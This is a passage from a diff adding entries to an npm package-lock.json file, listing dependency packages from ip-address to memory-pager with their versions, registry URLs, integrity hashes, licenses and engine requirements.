}, + "node_modules/ip-address": { + "version": "10.7.2", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.2.tgz", + "integrity": "sha512-7H/2gFSIitxc0hG3nOI1glS8QLo/EHBFFLk8vEUjXY/xu0AdL8jZ9U1IzO2PUm0d2D/ofQcAifb0g6OBkt8U7w==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/is-buffer": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", + "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==", + "license": "MIT", + "optional": true + }, + "node_modules/is-docker": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-3.0.0.tgz", + "integrity": "sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==", + "license": "MIT", + "optional": true, + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "get-east-asian-width": "^1.3.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-in-ci": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-in-ci/-/is-in-ci-2.0.0.tgz", + "integrity": "sha512-cFeerHriAnhrQSbpAxL37W1wcJKUUX07HyLWZCW1URJT/ra3GyUTzBgUnh24TMVfNTV2Hij2HLxkPHFZfOZy5w==", + "license": "MIT", + "optional": true, + "bin": { + "is-in-ci": "cli.js" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-inside-container": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-inside-container/-/is-inside-container-1.0.0.tgz", + "integrity": "sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==", + "license": "MIT", + "optional": true, + "dependencies": { + "is-docker": "^3.0.0" + }, + "bin": { + "is-inside-container": "cli.js" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-interactive": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-2.0.0.tgz", + "integrity": "sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-plain-obj": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz", + "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "license": "MIT", + "optional": true, + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-promise": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-4.0.0.tgz", + "integrity": "sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==", + "license": "MIT" + }, + "node_modules/is-stream": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-4.0.1.tgz", + "integrity": "sha512-Dnz92NInDqYckGEUJv689RbRiTSEHCQ7wOVeALbkOz999YpqT46yMRIGtSNl2iCL1waAZSx40+h59NV/EwzV/A==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-unicode-supported": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-2.1.0.tgz", + "integrity": "sha512-mE00Gnza5EEB3Ds0HfMyllZzbBrmLOX3vfWoj9A9PEnTfratQ/BcaJOuMhnkhjXvb2+FkY3VuHqtAGpTPmglFQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-unsafe": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-unsafe/-/is-unsafe-2.0.2.tgz", + "integrity": "sha512-HgbIHPBH0KHHCcjLfGsCvhtPTVxjaAZlXjwdz7/GQC40SjSe4sfQsar8J5VFo8JOSbarkpV0OLG95bbaNd9aAQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT" + }, + "node_modules/is-wsl": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-3.1.1.tgz", + "integrity": "sha512-e6rvdUCiQCAuumZslxRJWR/Doq4VpPR82kqclvcS0efgt430SlGIk05vdCN58+VrzgtIcfNODjozVielycD4Sw==", + "license": "MIT", + "optional": true, + "dependencies": { + "is-inside-container": "^1.0.0" + }, + "engines": { + "node": ">=16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, + "node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==", + "license": "MIT", + "optional": true + }, + "node_modules/istextorbinary": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/istextorbinary/-/istextorbinary-9.5.0.tgz", + "integrity": "sha512-5mbUj3SiZXCuRf9fT3ibzbSSEWiy63gFfksmGfdOzujPjW3k+z8WvIBxcJHBoQNlaZaiyB25deviif2+osLmLw==", + "license": "Artistic-2.0", + "dependencies": { + "binaryextensions": "^6.11.0", + "editions": "^6.21.0", + "textextensions": "^6.11.0" + }, + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "license": "BlueOak-1.0.0", + "optional": true, + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/javascript-natural-sort": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/javascript-natural-sort/-/javascript-natural-sort-0.7.1.tgz", + "integrity": "sha512-nO6jcEfZWQXDhOiBtG2KvKyEptz7RVbpGP4vTD2hLBdmNQSsCiicO2Ioinv6UI4y9ukqnBpy+XZ9H6uLNgJTlw==", + "license": "MIT" + }, + "node_modules/jks-js": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/jks-js/-/jks-js-1.1.7.tgz", + "integrity": "sha512-BeiDRKsAi1NwEwgx2JB/9/0tar5BNGIv+foGm1G5GgiyR35s/iUnfd/BWqYd16mLDD8qTaAVBrIcOOuVqXJZNQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "node-forge": "^1.4.0", + "node-int64": "^0.4.0", + "node-rsa": "^1.1.1" + } + }, + "node_modules/jose": { + "version": "6.2.12", + "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.12.tgz", + "integrity": "sha512-9NiFmJEex0sy2Dk58j2UGBSHgUs2ypF9eZSu4L6vjOX3Dp96Sw1F3uL+H+D1sx02jZZdzUT0HgvCy59CuvXcWw==", + "license": "MIT", + "optional": true, + "funding": { + "url": "https://github.com/sponsors/panva" + } + }, + "node_modules/js-base64": { + "version": "3.9.4", + "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-3.9.4.tgz", + "integrity": "sha512-PtOMXpEGuP0RRiRXsjzHzl44dMHxSu2CPvAhinupR1tBa88me+1DPqsobl7eupn5UukjLkln1ZnAOAOXOrYG0Q==", + "license": "BSD-3-Clause" + }, + "node_modules/js-rouge": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/js-rouge/-/js-rouge-3.2.2.tgz", + "integrity": "sha512-PWwGSmUsjZ5U0d4GukwnMaCcUFhlTznj6KMsDH8311Sdd0aeVi8uvZGHRs8KWGcwteR1DRNX1/RZP22n7I26oQ==", + "license": "MIT", + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/js-tiktoken": { + "version": "1.0.21", + "resolved": "https://registry.npmjs.org/js-tiktoken/-/js-tiktoken-1.0.21.tgz", + "integrity": "sha512-biOj/6M5qdgx5TKjDnFT1ymSpM5tbd3ylwDtrQvFQSu0Z7bBYko2dF+W/aUkXUPuk6IVpRxk/3Q2sHOzGlS36g==", + "license": "MIT", + "optional": true, + "dependencies": { + "base64-js": "^1.5.1" + } + }, + "node_modules/js-yaml": { + "version": "5.4.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-5.4.1.tgz", + "integrity": "sha512-28R/k+NAjeuf7+CKlTxWZVExJGwVVLwY06DgEnOMz2gEpfNkDcD7QvyiVPT0xy0XXhU8vHsd4Ot42OOPdJG7dQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.mjs" + } + }, + "node_modules/json-bigint": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", + "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", + "license": "MIT", + "dependencies": { + "bignumber.js": "^9.0.0" + } + }, + "node_modules/json-schema": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==", + "license": "(AFL-2.1 OR BSD-3-Clause)" + }, + "node_modules/json-schema-to-ts": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", + "integrity": "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.18.3", + "ts-algebra": "^2.0.0" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/json-schema-typed": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz", + "integrity": "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==", + "license": "BSD-2-Clause", + "optional": true + }, + "node_modules/json-with-bigint": { + "version": "3.5.12", + "resolved": "https://registry.npmjs.org/json-with-bigint/-/json-with-bigint-3.5.12.tgz", + "integrity": "sha512-uwbF/wSSuOgC7qqlq27Xp5B6a2MHVug3t0idZdTqu0JnlFvgJuH7ju+KAk/J06C7GfhoYy2gnb9wz2INqcne7w==", + "license": "MIT", + "optional": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.1.tgz", + "integrity": "sha512-zwOTdL3rFQ/lRdBnntKVOX6k5cKJwEc1HdilT71BWEu7J41gXIB2MRp+vxduPSwZJPWBxEzv4yH1wYLJGUHX4Q==", + "license": "MIT", + "optional": true, + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonwebtoken": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.3.tgz", + "integrity": "sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==", + "license": "MIT", + "optional": true, + "dependencies": { + "jws": "^4.0.1", + "lodash.includes": "^4.3.0", + "lodash.isboolean": "^3.0.3", + "lodash.isinteger": "^4.0.4", + "lodash.isnumber": "^3.0.3", + "lodash.isplainobject": "^4.0.6", + "lodash.isstring": "^4.0.1", + "lodash.once": "^4.0.0", + "ms": "^2.1.1", + "semver": "^7.5.4" + }, + "engines": { + "node": ">=12", + "npm": ">=6" + } + }, + "node_modules/jwa": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", + "integrity": "sha512-hRF04fqJIP8Abbkq5NKGN0Bbr3JxlQ+qhZufXVr0DvujKy93ZCbXZMHDL4EOtodSbCWxOqR8MS1tXA5hwqCXDg==", + "license": "MIT", + "optional": true, + "dependencies": { + "buffer-equal-constant-time": "^1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jws": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz", + "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==", + "license": "MIT", + "optional": true, + "dependencies": { + "jwa": "^2.0.1", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/kareem": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/kareem/-/kareem-3.4.0.tgz", + "integrity": "sha512-JAKhnR4S027v/8949QXNInRskgETCg9rFUMi1VjhGbjX+XltCAAEFcXykkSocNkom1kc66EMJfjWvhj87BDQKg==", + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, + "node_modules/keyv-file": { + "version": "5.3.5", + "resolved": "https://registry.npmjs.org/keyv-file/-/keyv-file-5.3.5.tgz", + "integrity": "sha512-0JFTTi55d1HdhIrSOnPngUw0fyHLn3BHqoLJ8TyGKM/fQfuZsz8HkcFxpl6YzU2mj1ZfRF/6BXlSqOpyfXYAmw==", + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1", + "tslib": "^1.14.1" + } + }, + "node_modules/keyv-file/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "license": "0BSD" + }, + "node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kuler": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/kuler/-/kuler-2.0.0.tgz", + "integrity": "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A==", + "license": "MIT" + }, + "node_modules/lazy-cache": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-1.0.4.tgz", + "integrity": "sha512-RE2g0b5VGZsOCFOCgP7omTRYFqydmZkBwl5oNnQ1lDYC57uyO9KqNnNVxT7COSHTxrRCWVcAVOcbjk+tvh/rgQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/libsql": { + "version": "0.5.29", + "resolved": "https://registry.npmjs.org/libsql/-/libsql-0.5.29.tgz", + "integrity": "sha512-8lMP8iMgiBzzoNbAPQ59qdVcj6UaE/Vnm+fiwX4doX4Narook0a4GPKWBEv+CR8a1OwbfkgL18uBfBjWdF0Fzg==", + "cpu": [ + "x64", + "arm64", + "wasm32", + "arm" + ], + "license": "MIT", + "os": [ + "darwin", + "linux", + "win32" + ], + "dependencies": { + "@neon-rs/load": "^0.0.4", + "detect-libc": "2.0.2" + }, + "optionalDependencies": { + "@libsql/darwin-arm64": "0.5.29", + "@libsql/darwin-x64": "0.5.29", + "@libsql/linux-arm-gnueabihf": "0.5.29", + "@libsql/linux-arm-musleabihf": "0.5.29", + "@libsql/linux-arm64-gnu": "0.5.29", + "@libsql/linux-arm64-musl": "0.5.29", + "@libsql/linux-x64-gnu": "0.5.29", + "@libsql/linux-x64-musl": "0.5.29", + "@libsql/win32-x64-msvc": "0.5.29" + } + }, + "node_modules/load-esm": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/load-esm/-/load-esm-1.0.3.tgz", + "integrity": "sha512-v5xlu8eHD1+6r8EHTg6hfmO97LN8ugKtiXcy5e6oN72iD2r6u0RPfLl6fxM+7Wnh2ZRq15o0russMst44WauPA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + }, + { + "type": "buymeacoffee", + "url": "https://buymeacoffee.com/borewit" + } + ], + "license": "MIT", + "optional": true, + "engines": { + "node": ">=13.2.0" + } + }, + "node_modules/lodash.includes": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", + "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==", + "license": "MIT", + "optional": true + }, + "node_modules/lodash.isboolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", + "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==", + "license": "MIT", + "optional": true + }, + "node_modules/lodash.isinteger": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", + "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==", + "license": "MIT", + "optional": true + }, + "node_modules/lodash.isnumber": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", + "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==", + "license": "MIT", + "optional": true + }, + "node_modules/lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "license": "MIT", + "optional": true + }, + "node_modules/lodash.isstring": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", + "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==", + "license": "MIT", + "optional": true + }, + "node_modules/lodash.once": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", + "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", + "license": "MIT", + "optional": true + }, + "node_modules/log-symbols": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-7.0.1.tgz", + "integrity": "sha512-ja1E3yCr9i/0hmBVaM0bfwDjnGy8I/s6PP4DFp+yP+a+mrHO4Rm7DtmnqROTUkHIkqffC84YY7AeqX6oFk0WFg==", + "license": "MIT", + "dependencies": { + "is-unicode-supported": "^2.0.0", + "yoctocolors": "^2.1.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/logform": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/logform/-/logform-2.7.0.tgz", + "integrity": "sha512-TFYA4jnP7PVbmlBIfhlSe+WKxs9dklXMTEGcBCIvLhE/Tn3H6Gk1norupVW7m5Cnd4bLcr08AytbyV/xj7f/kQ==", + "license": "MIT", + "dependencies": { + "@colors/colors": "1.6.0", + "@types/triple-beam": "^1.3.2", + "fecha": "^4.2.0", + "ms": "^2.1.1", + "safe-stable-stringify": "^2.3.1", + "triple-beam": "^1.3.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/logform/node_modules/@colors/colors": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@colors/colors/-/colors-1.6.0.tgz", + "integrity": "sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA==", + "license": "MIT", + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/long": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz", + "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==", + "license": "Apache-2.0" + }, + "node_modules/lru-cache": { + "version": "11.5.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.3.tgz", + "integrity": "sha512-U4N8FgzmWxc8k1VH8Kr6lQg18U7Fjvby6wXHVRX/ZZ7IwWbRMgrRbP0Wrb5q5NVinryp4SQampHKdvtecItxUg==", + "license": "BlueOak-1.0.0", + "engines": { + "node": "20 || >=22" + } + }, + "node_modules/matcher": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/matcher/-/matcher-4.0.0.tgz", + "integrity": "sha512-S6x5wmcDmsDRRU/c2dkccDwQPXoFczc5+HpQ2lON8pnvHlnvHAHj5WlLVvw6n6vNyHuVugYrFohYxbS+pvFpKQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "escape-string-regexp": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mathjs": { + "version": "15.2.0", + "resolved": "https://registry.npmjs.org/mathjs/-/mathjs-15.2.0.tgz", + "integrity": "sha512-UAQzSVob9rNLdGpqcFMYmSu9dkuLYy7Lr2hBEQS5SHQdknA9VppJz3cy2KkpMzTODunad6V6cNv+5kOLsePLow==", + "license": "Apache-2.0", + "dependencies": { + "@babel/runtime": "^7.26.10", + "complex.js": "^2.2.5", + "decimal.js": "^10.4.3", + "escape-latex": "^1.2.0", + "fraction.js": "^5.2.1", + "javascript-natural-sort": "^0.7.1", + "seedrandom": "^3.0.5", + "tiny-emitter": "^2.1.0", + "typed-function": "^4.2.1" + }, + "bin": { + "mathjs": "bin/cli.js" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/md5": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/md5/-/md5-2.3.0.tgz", + "integrity": "sha512-T1GITYmFaKuO91vxyoQMFETst+O71VUPEU3ze5GNzDm0OWdP8v1ziTaAEPUr/3kLsY3Sftgz242A1SetQiDL7g==", + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "charenc": "0.0.2", + "crypt": "0.0.2", + "is-buffer": "~1.1.6" + } + }, + "node_modules/media-typer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz", + "integrity": "sha512-yz3xRaG20c6/BOzvYoDaGtPmGscs7YivItZEEqe6GbwNfHuxu9YNmvnEkMzKldAGY4/80pRcQRZSEnhquk9XuQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/memjs": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/memjs/-/memjs-1.3.2.tgz", + "integrity": "sha512-qUEg2g8vxPe+zPn09KidjIStHPtoBO8Cttm8bgJFWWabbsjQ9Av9Ky+6UcvKx6ue0LLb/LEhtcyQpRyKfzeXcg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/memory-pager": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz", + "integrity": 